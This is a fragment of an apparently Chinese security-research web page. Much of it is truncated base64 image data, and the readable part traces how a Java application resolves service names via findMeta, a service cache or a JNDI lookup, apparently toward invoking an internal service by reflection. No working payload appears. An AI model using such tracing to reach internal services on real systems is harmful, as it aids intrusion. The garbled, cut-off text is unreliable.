0QjYb762CEqw0FCAZ8tFFRXMrcQY8OaNr7w4H4yuQJTs/Ps3rye7vZmvB4XW9Z1sqNnDZlsjlgixZOH97Bz41o0VaGloZaOlnqQlDVHloT7dm7m4K7NzMUSGIbJoV2b6GxpQNcUHty7jfVdLQyMTmBZFuvaW26/fF8iGPDxwN6ttDfVMTE9R8Dv5YnDe8qahUVqoxXs2byOQtFgcnaeXT1r2dDZimmaHNzRQ1tTLQMjE/i9HrZtXIPf52Hv1vVsXNPGld5hUtkc+7ZuoLoyXC6SEJDOZEmmMhiGwcx8HMO0aK6rYU1bI8oyLZWUsLatiUcP7CSbL5BMZ9izdT0b17SWV/BXQ0porKmiqiLC5Mw8Pq+Hrz1+mNqqCOGAnx0b1+LzevC6XezavA6fx002myeeTFEsmswuxAHY2bOWres7WYgnKRRNvvzoQVoba/F73TywZwtr2xqZmJnH63Hz2KFd+H0eGmqifPWx+3C5dCZm5mhtrOW+XZsJBf201Ffz5AN7EUIwMj5NfU2UqsowUkqikSAP7ttGVUWIkckZaqoq+PKjB/F73SvqZpgmWzd00VRbhZSS6soIuzavQ1UUNne3s2tzN4lUmly+wOP37aKjNK63rOtgy7pOMtk8yXSGdZ0t7Nm8nonpOQZHJ9m3bSNtTXUE/F7Wd7YQCQWpDAd57NAuaqoquDE4isul8eihnTTX1xD0+9i1qZvWhhomZ+fx+7x886n78brdRIJ+Hjmwg3UdzatqdSLhAPu39/AbX36UX//Sw+za1I3H7WIhnuJHL7/LmSu9q14HUF0ZweNyceLCNdSS/9rIxAyVoSBez61amKbaauZiiTsK1EIIWupr2LVpLYlUhmQ6w8EdPbQ01JBKZ9m1uZuOlgYAGmqr2NDViqYq7Ni4hjVtTQyOTRJPpnlg3zaa6qpuKbuiCBRFQVVV9m3bwPRcjN6hcYQQTMzM4XLpVIQCty2fg4ODg4ODg8PPg7baj6YpiSdTtDbW2j4Q23uYi8UZGJ3Apes01ERpb6wjlkixqbudF948zpnLvXg9Lta0NpJMZWhrrENKyVvvn2NkYoYTF6/xT/7mN2lvqiWeyhBLpDl+7ipX+4cJBnyEA35eOXIKTVVoqK6iqiLMyNQsQsCZy70cO3MZy7II+b3s3bqes1f7Vq+RlDywdysDoxMMjk3h97qpr4lSE42wEE/S1ljL828e53LvEAGfl6Dfi7iLGVrQ76O+upI3jp/j4vUBKkIB1ne23uLvMz0f4+UjJ1EUBV3TWN/ZQm1VBEtKohUhVEVhdiFO/8gEBcMgk81TGQnhcbtIpjMMjU+hKIJ4Ks3yxfvBsSl6h8eorargyOmL6Kq2WNXFSgMCy7LYv20DuXyBvuExpJTUVEZoa6zjSt/wbQNRCAHpbI4jpy/SOzSG1+Pmn/ytb9LeWMfA6CRdrY3UV1eWTR6vDowyOjXLtYERwsEA75+/SmU4SHtzPdNzMQbHJlEVhZ61bXS0NJDNFWiur+HtE+c5e6WPcNDP+s4WCkWDvVvWY1oWP3n1CLlcgZm5GPu2baAqEqarrYF8vsBPXjtKJptjdGqGZx7ajwRaG2qJRoKcu9rP6OQsyXSGrz1+mMa6aq4NjCKwJ/IT0/NMz8VY39nClf4RNna1sRBPMhdLsGtzN/FkmoGRSRRFsLatkTVtTYxPz1EoGgyODfHKkVNk8wXaG2vxed3kCkX6hsfpH5lgIZGkIhxEljQrbY21BHxe/vz5N5iYnuNqxQhffewQ3e3N9A6PkS8UOX7+KhevD3Cld4j//e//JpGgn1gyzcvvnGQhkbpFa6MoCn6vh0wux/lrfbQ31XP/nq3MxhIMjk6SyeVRhMLSEsGyWwFw6zqmZZJIZ9A1DcMwSWWy6Lq2FPhhGeGgn9k7+KHJ0rgbm5zl+TePA7Y/4PrOVqKRLine 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<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105325-87c97562-df52-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA2AAAAIaCAYAAABGXC63AAEAAElEQVR4nOy9d3wV1533/z4zc5t67wIJECBAiN5xB9u4x91OnJ5s6qZs/WWffZLdfbKbbDbZ3WyycZw4jmvc4m5jGxewDZjee5eEepdum3J+f8zVRUIFgWRs7PN+vbDh3ilnzj0zcz7n28TUqVMlCoVCoVAoFAqFQqH4wNE+7AYoFAqFQqFQKBQKxScFJcAUCoVCoVAoFAqF4jyhBJhCoVAoFAqFQqFQnCeUAFMoFAqFQqFQKBSK84QSYAqFQqFQKBQKhUJxnjA+7AZ83LFtC9uy0HQdw/B82M35SOLYNpZlIjQNj8cDiFE9vnQcTMtEAIbHixCje3yFQqFQKBQKhWK4fGwEmDt596JprlHPcRzMaBQpnUH3kdLNwP9BTcgt02TJsuuYu+RyDu7dwRvPP45pRj+Qc12oOI7NrIWXsOjyFTTU1/Dy4w/Q3dU5qr9J8biJrLj1HiKRCM89fC8tTQ3xcXI+0DTNFd99LknEhedgeLxehNBwHBvLPLWdEAKP13fG/RUKhUKhUCgUHz0ueAEmpUNCYgrzll7BlJnzSU3PAAHtLS3s2PguG999g2g4BKdN6HXDw8SplTi2w4mjBwh1dzLalhfTjHDZdbei6zpzllzGu6+/oATYaSQkJjNz0SVk5uaTlpnN/vIKtm94FyH0UTm+putMn7uYwrHjcGyH2YsvZeXTD6N5faNy/DMhpWTs+MlcccPt6PqpaxKaxoFd21j59EN4BmiLx+Plji9/l+SUNJoa6nj41z/B6/MjpSQrN59Pf/1v2b1lPW+88CSOY5+Xa1EoFAqFQqFQjJyPgQCT3PTpr1A2dQa6oWPbNgJBoCiJ7LzbyCsay6P3/gc+f6DPPj6/n5s+/VWi0QiP/fYXVHd1nq7RRoym6dSdOMaEKdOpr63Ctq3RPcHHgEgkTGtjPaVl5ZiRCG3NTYymEJaOQ2NdDUJoaLqg4WQV4jxavwASk1MoLpmA0HQQYFsmjuNQV3U8boU9HaFp5OQXkZiUTGZOHkVjx1N38gRCCHSPl9yCIqqOZIz6mFUoFAqFQqFQfLBc0ALMtiymzV5IycQpRCIh1q18hXVvvgLAJVffzJzFl1JeOYdJFbM4vG8nut7rciXYjo1j24NOgodCSnlGNzmfP8ADv/wxKekZREJBQsHuUT1+bEMkH5wb5bkjkfLM7ZKOw3OP3sea158nHAwS7Oo4o3uglNKVaMO4ZiklG99ZxYHd23Bsm8721mHH4g37NxhieyEERw/u4YFf/j8QrtthxZzFVM5bcsZxJx0Hx3FdaKfPX0LNkw9ieDyAxHGcM+9/Fu0/fdvh7Hu2/fNR5ez7CYazSHDufTq84ysUCoVCobgwuaAFmCMdcguKEEJw8vhRVj3/BB6PF4A3XniC/KKxFI2bQGHxOA7u3o7XZ5CZnYfjOAQSExEIhKaRnplNNBJGCIEQgq6OdoLdnYDr4piemYvH66Wrsx2Px0t+0Vh8gQQa62porq8lEtvX3V6Smp6JP5DQa4IsQQYIh4L9Js1CCFLSMvAFEmhvacLnD5BTUERCYjKNdTW0NNYRCYf7XbumaaRn5ZBXOAbd8FJXfYz2liaS0zJAStpaGrGsc7e4SSnxBxJITk0nPSsHgaSlsYHurg6C3V19JpJCCFLTM/H6/TTW1pCRlUt2fiGG4aGu5jgdba1EwqE+fZSSloE/kNDnfIFAAuFgV1x0nI7H43WvuWgstmVTW32UrvY20jKziUYjdLQ2x/aVBBKSSEpJ63N84RUEuzr7WSKllCQlp5KYnEJXZztCCNIzs8nKLaClqYHWxnraW5vRdP20/RwSEpNJSk0jPTMHn89PU30tHW0tdHd1xLfr6mins70VANuyXWvYcH4EIYiEQ3h9fiZMrsCfkIQZjQy6uZQSXddJScsgOTWdzNw8OtpaaWms79U3LrpukJmbTyQUxOcPkF9cSvXxQ3S2tVJQXEJKehYnjuyjvaW5z5iVjkNyWgYpqelk5xfQ1dFOW3MTHe0tsbaNTDgMFbMZ65RzFn0949TnD9BYV0NqRhbZeQX4/AHqa6poa2nqM057k5KWTmJyKjn5RURCQZoa6mhracKMRvqM6+y8QiwziqbpFJVOoKmhlqbaGjJy8sgrHMPJqmM01tUge/0WjuOQmJwS69MiTDNKc/1JujraCQe7B1xokECCAWWpFl4d9rfqdJpKtCkUCoVCcSFwQQswwHXrAoQmMHQDd2oiiEbCvPPa86Rn51Bz7AhCE6Rn5fDNf/gptmUhpcS2LXTD4FOf/RqacK0uhsfDa88+yruvv4iUkmgkwo2f/grFpRPYvvE9xk2cSlZeAdJxiETC7N+5hRf/dH9clNi2xRXX386MBRdh9yROEIITh/fx6L0/JxIO9Wm/4fFy1c2fZuqsBaxZ+SzTZi0gK7cAKR2iseO/8Kf7+1jPLDPKpStuZtHl15CYnIKmaYSC3Wxdv4YZ85YQiUT44y9/HHO9O/tJmePYZOcVcdWn7qakbDL+QCIIQTQcouroQV5/9k+cOHogblHUdYPr7/wSE6fN4JmHf8uy628jOS0Dx3EIB7vZuWkdrz33mDuZBMxohEtX3MzMhRfHLXhISXdnB7/92T/S0dbSr92aprH8pruYMX8pPn8ATdNob21hy9q3ueiqGzh+aB9/uu8/CXZ34tgO02Yt4MqbP40eGx9SSjRN49f/+vfU1RxH006JKcs0mbv0ci677jZ2bV5HYmIy48srkIBjW9RWHeelJx7g6ME9ceuZ49iUTCjn4qtvYuyEya6YlBIzGqHm+BFef+5PHD+8P/bzi3hMm9QlQgzPBVIIQXNDHUmpaaSkZVAyYRIHdm8bcFspJYbh4fLrb2PazPmuaBYCKSUdrS1sWvsWb7zwBJqm4TgOGdmZfOv//Dt11cdJTkkjMTmF5sZ6ao4domL2IhBQX3OCR37zM9pammL9FKVi7mIuvvJG8orGxBc7ujo72LttI688/VC/8X02eH1+MnPyhuyPYFcnrc2N5zSudSM2Titm8vxjv+fiK28gLSMLx3GIhEPs2ryeV595pN+9tmTZdcxZcjnZ+YXomo6UkmB3J/u2b+Llpx4kHHJFm2VG+fL3fkh3dwden5+0zGy6O9rZu2MzFbMX4PUH6Gxr4U/3/Scnjhxwj2+ZjCmdyJU33UVR6QR8sUWJaDjEkQN7eOXJB2lurOt3LRFb8PWpIW4o7UQAzx9L4je7A9hnb8xXKBQKhUJxnrmgBZgQgrbmRgDyisYy96JlrH9rpRsnYxgc3r8Tuc/dTtN0HNshGOyMCzCfLwBSEgmH4ivvhuGhu6uT3vMYx7FxHIepM+YRDofY/v67JKemUVQynimVc4mEwzz1h1/i9fkRCCLhMMHuTmzLBAf8CYkMNS+SjoMZCTN78WXgOOzZtoGU9EzyCsdQXjmX5oY6Xn/+cTRNw7Ztxk+eziXX3Oxef0sTddXHSc/MZuaCpYBwkzKc60QsJlRu/fw3yckvRAK1J45h2xbZ+YWMGTeJW7/4LX79//6uj+XPcVzBuOy62zDNKNvWv0NmTh65BcVUzl9Cc0Mta998Oe6GFY2EY1ZGt6Ferx/HsQd0P3Qch+lzlzBn8WUgoKn+JE11teQVj2HeRVdgRiM4tk3vizZNk1B3Z9xq5fF40XUPmm4M2DfSkdimyYTyCoTQObh7O5quUzCmlKy8Albc9lke+K9/iU+20zKyWXbjneQXlSCAQ7u34yApGT+Z/OJSlt14Jw/96icjEiRuuz3s2bqRJcuuYcz4SRzau3PA7UwzyqXX3MK8pVegaTr1NSdobW4kPTuXzOw8li67jtbmRja9uwotJiIc2yIpJZXtG96lqGQ8eUVjKR43kTWvPkv5zHnk5BcxtqyctvffQToOY8ZP4sqb7iI5JY3O9jaOHdxLICGRcZOmMX3eYmzb4rlH7utnKRwuOQVF3PaFbzGYZ6VhGOzavJ4XH/8DunFujy7HsYmEQ1x2zS3YlsXurRvIys0nLSObirmLqK05xobVr7sLNJbF9HlLuezaWzE8HtqaGmmorSYpNY28gjFUzF1MJBLh2Ud+izeWSMW2LVLSM9m9eT2Gx8OUmfMonz6HjWveIL94LCUTpzBt9kJOHDkQtwRff/eXyc4tIBqNcGD3NgSCkonljJ88jZvu+Rq//vHf4fX1TdRiS5iYFiFoCXQhGZPsoAmUAFMoFAqF4gLgghZgum6wc/NaLr7qRpJSUllxyz3MXngxOzetZ/vGdwkGu+KuPq41oZZ/+e4X4i5n3/nRL4hGIjx2739QdexQXEzomj5gooaWpgYevfdntLU0o2kaF191A0uX38DUmfN44U8BHNtBNwxeeOx3PPfob0FKktPS+Yf/uH9IQdTzVbCznfv/619ob20GKbn65ntYsuxaJlfO5rVnHwNNw7ZMZi24CCEENceO8Mhv/p3urk4Mw+D6u77EtFnzGXQGOwxs22bq7AVk5uQRDoVY+fRDbHv/HSRQNmU6N376qyQlpzJjwcWsfeOlWEySexVC02hurOf3v/gRZjSKaUa5+bNfY97SZUyePpv317yGZZp4vD5efuqPvPjEH5COQ/G4idzzjb8btE2ObTNj3mKEprFr83oe/91/Aq6wvedbf0d+YUmf7tV0na3r3mbze28ikaRlZHH3X/w1OflFQ/8GAsxolEd/+3NOHNqP4zjMu2gZV33qblJS0ykaO4GDe3fE3UazcwswzSgP/Nf/o/rYQYQQFIwZx5f+6keMGT8Rj9c7YgHm9fnZ8PZKllx+DeMnTWP9WysH3M7nD1BWPh3Lsti1aQ0vPP4HHMfLine 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<p>大概有三种方式加载</p>
<pre><code>name以-&gt;开头通过findMeta()和findComponent()获取实例。
name不以-&gt;开头,直接通过服务定位模式this.getServiceCache().get(name)在Cache中取,如果有的话直接返回实例
name以java:comp/env/开头,进入jndiCtx.lookup。最后如果meta和retObject还是未获取到,则调用jndi(jndiName)</code></pre>
<p>大概率PortalSpecServiceImpl这个应该不是在ServiceCache里,不然就成功获取到对象然后反射调用方法了,或者可以通过某种方式先添加PortalSpecServiceImpl到ServiceCache,再获取。<br>
重点看下第一种方式,获取Meta如下。</p>
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105610-ea5cb1f8-df52-1.png><img src="data:image/png;base64,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 truncated
<p>进行实例化</p>
<p><a id=img17 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105614-ec51996a-df52-1.png><img src=data:image/png;base64,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